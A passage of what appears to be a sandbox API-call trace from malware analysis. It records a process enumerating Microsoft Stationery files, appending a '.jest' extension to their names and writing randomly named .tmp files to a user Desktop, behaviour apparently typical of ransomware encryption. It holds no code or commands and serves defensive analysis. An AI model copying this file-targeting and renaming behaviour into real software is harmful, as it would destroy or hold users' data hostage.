Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.245] GetLastError () returned 0x0 [0122.245] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.245] GetLastError () returned 0x0 [0122.245] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.245] GetLastError () returned 0x0 [0122.245] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.245] GetLastError () returned 0x0 [0122.245] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.245] GetLastError () returned 0x0 [0122.418] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.jest", lpFilePart=0x18e870*="Garden.jpg.jest") returned 0x49 [0122.421] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpFilePart=0x18e6d8*="Garden.jpg") returned 0x44 [0122.421] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x78, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 0x143ce48 [0122.422] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.424] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpFilePart=0x18e780*="Garden.jpg") returned 0x44 [0122.428] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpFilePart=0x18e780*="Garden.jpg") returned 0x44 [0122.428] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.428] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x51)) [0122.428] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x51)) [0122.428] GetUserDefaultLCID () returned 0x409 [0122.428] VarBstrFromR4 (in: fltIn=0x4794438a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.08") returned 0x0 [0122.429] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="‰") returned 1 [0122.430] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpFilePart=0x18e780*="Garden.jpg") returned 0x44 [0122.431] GetFullPathNameA (in: lpFileName="G0tv9UV2kzje98YYVdjQvEtLJ3OVg 47nyR8SOl-i2g7lh-jH-MmM8U0Vyms_duSZHBD6CQG-lJnA2ynZJRKOH96cVVdfImEMDS .tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G0tv9UV2kzje98YYVdjQvEtLJ3OVg 47nyR8SOl-i2g7lh-jH-MmM8U0Vyms_duSZHBD6CQG-lJnA2ynZJRKOH96cVVdfImEMDS .tmp", lpFilePart=0x18e708*="G0tv9UV2kzje98YYVdjQvEtLJ3OVg 47nyR8SOl-i2g7lh-jH-MmM8U0Vyms_duSZHBD6CQG-lJnA2ynZJRKOH96cVVdfImEMDS .tmp") returned 0x8e [0122.431] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpFilePart=0x18e708*="Garden.jpg") returned 0x44 [0122.431] GetFullPathNameA (in: lpFileName="G0tv9UV2kzje98YYVdjQvEtLJ3OVg 47nyR8SOl-i2g7lh-jH-MmM8U0Vyms_duSZHBD6CQG-lJnA2ynZJRKOH96cVVdfImEMDS .tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G0tv9UV2kzje98YYVdjQvEtLJ3OVg 47nyR8SOl-i2g7lh-jH-MmM8U0Vyms_duSZHBD6CQG-lJnA2ynZJRKOH96cVVdfImEMDS .tmp", lpFilePart=0x18e6e4*="G0tv9UV2kzje98YYVdjQvEtLJ3OVg 47nyR8SOl-i2g7lh-jH-MmM8U0Vyms_duSZHBD6CQG-lJnA2ynZJRKOH96cVVdfImEMDS .tmp") returned 0x8e [0122.431] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G0tv9UV2kzje98YYVdjQvEtLJ3OVg 47nyR8SOl-i2g7lh-jH-MmM8U0Vyms_duSZHBD6CQG-lJnA2ynZJRKOH96cVVdfImEMDS .tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x76743047, cFileName="9UV2kzje98YYVdjQvEtLJ3OVg 47nyR8SOl-i2g7lh-jH-MmM8U0Vyms_duSZHBD6CQG-lJnA2ynZJRKOH96cVVdfImEMDS .tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.431] GetLastError () returned 0x2 [0122.431] GetLastError () returned 0x2 [0122.431] SetLastError (dwErrCode=0x2) [0122.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.432] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.433] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.433] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.433] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.434] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.434] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.435] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.435] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.435] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.435] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.435] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.435] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.435] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.436] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.437] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.437] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.437] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.437] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.437] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.437] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.437] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.438] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.438] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.438] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.439] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.439] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.439] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.439] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.439] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.439] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.439] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.439] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.439] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.439] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.440] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.440] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.440] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.440] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.440] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.440] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.440] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.440] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.440] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.440] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.441] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.441] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.441] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.441] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.441] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.441] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.441] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.441] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.441] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.441] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.442] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", lpFilePart=0x18e870*="Peacock.htm") returned 0x4b [0122.443] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.jest", lpFilePart=0x18e870*="Peacock.htm.jest") returned 0x50 [0122.445] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", lpFilePart=0x18e6d8*="Peacock.htm") returned 0x4b [0122.445] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421df204, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421df204, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41fa3d64, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x78, dwReserved1=0x56006533, cFileName="Peacock.htm", cAlternateFileName="")) returned 0x143ce48 [0122.445] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.446] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", lpFilePart=0x18e780*="Peacock.htm") returned 0x4b [0122.447] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", lpFilePart=0x18e780*="Peacock.htm") returned 0x4b [0122.447] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.447] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x61)) [0122.447] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x61)) [0122.447] GetUserDefaultLCID () returned 0x409 [0122.447] VarBstrFromR4 (in: fltIn=0x4794438c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.09") returned 0x0 [0122.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="û") returned 1 [0122.448] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", lpFilePart=0x18e780*="Peacock.htm") returned 0x4b [0122.448] GetFullPathNameA (in: lpFileName="rov 5 NBqlej8xFEbtjq1VC9vECLt6RottRZmapIsr5B0STskrNcUDTfu4e0XGgkU8H_DUNFt7xqUt _BBDRzzv5GYVX6iJQDe4Fq.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rov 5 NBqlej8xFEbtjq1VC9vECLt6RottRZmapIsr5B0STskrNcUDTfu4e0XGgkU8H_DUNFt7xqUt _BBDRzzv5GYVX6iJQDe4Fq.tmp", lpFilePart=0x18e708*="rov 5 NBqlej8xFEbtjq1VC9vECLt6RottRZmapIsr5B0STskrNcUDTfu4e0XGgkU8H_DUNFt7xqUt _BBDRzzv5GYVX6iJQDe4Fq.tmp") returned 0x8f [0122.449] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", lpFilePart=0x18e708*="Peacock.htm") returned 0x4b [0122.449] GetFullPathNameA (in: lpFileName="rov 5 NBqlej8xFEbtjq1VC9vECLt6RottRZmapIsr5B0STskrNcUDTfu4e0XGgkU8H_DUNFt7xqUt _BBDRzzv5GYVX6iJQDe4Fq.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rov 5 NBqlej8xFEbtjq1VC9vECLt6RottRZmapIsr5B0STskrNcUDTfu4e0XGgkU8H_DUNFt7xqUt _BBDRzzv5GYVX6iJQDe4Fq.tmp", lpFilePart=0x18e6e4*="rov 5 NBqlej8xFEbtjq1VC9vECLt6RottRZmapIsr5B0STskrNcUDTfu4e0XGgkU8H_DUNFt7xqUt _BBDRzzv5GYVX6iJQDe4Fq.tmp") returned 0x8f [0122.449] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rov 5 NBqlej8xFEbtjq1VC9vECLt6RottRZmapIsr5B0STskrNcUDTfu4e0XGgkU8H_DUNFt7xqUt _BBDRzzv5GYVX6iJQDe4Fq.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x20766f72, cFileName="5 NBqlej8xFEbtjq1VC9vECLt6RottRZmapIsr5B0STskrNcUDTfu4e0XGgkU8H_DUNFt7xqUt _BBDRzzv5GYVX6iJQDe4Fq.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.449] GetLastError () returned 0x2 [0122.449] GetLastError () returned 0x2 [0122.449] SetLastError (dwErrCode=0x2) [0122.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.450] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.450] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.450] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.450] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.450] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.450] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.465] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpFilePart=0x18e870*="Peacock.htm") returned 0x45 [0122.496] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.jest", lpFilePart=0x18e870*="Peacock.htm.jest") returned 0x4a [0122.498] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpFilePart=0x18e6d8*="Peacock.htm") returned 0x45 [0122.498] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x78, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 0x143ce48 [0122.498] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.498] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.499] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, 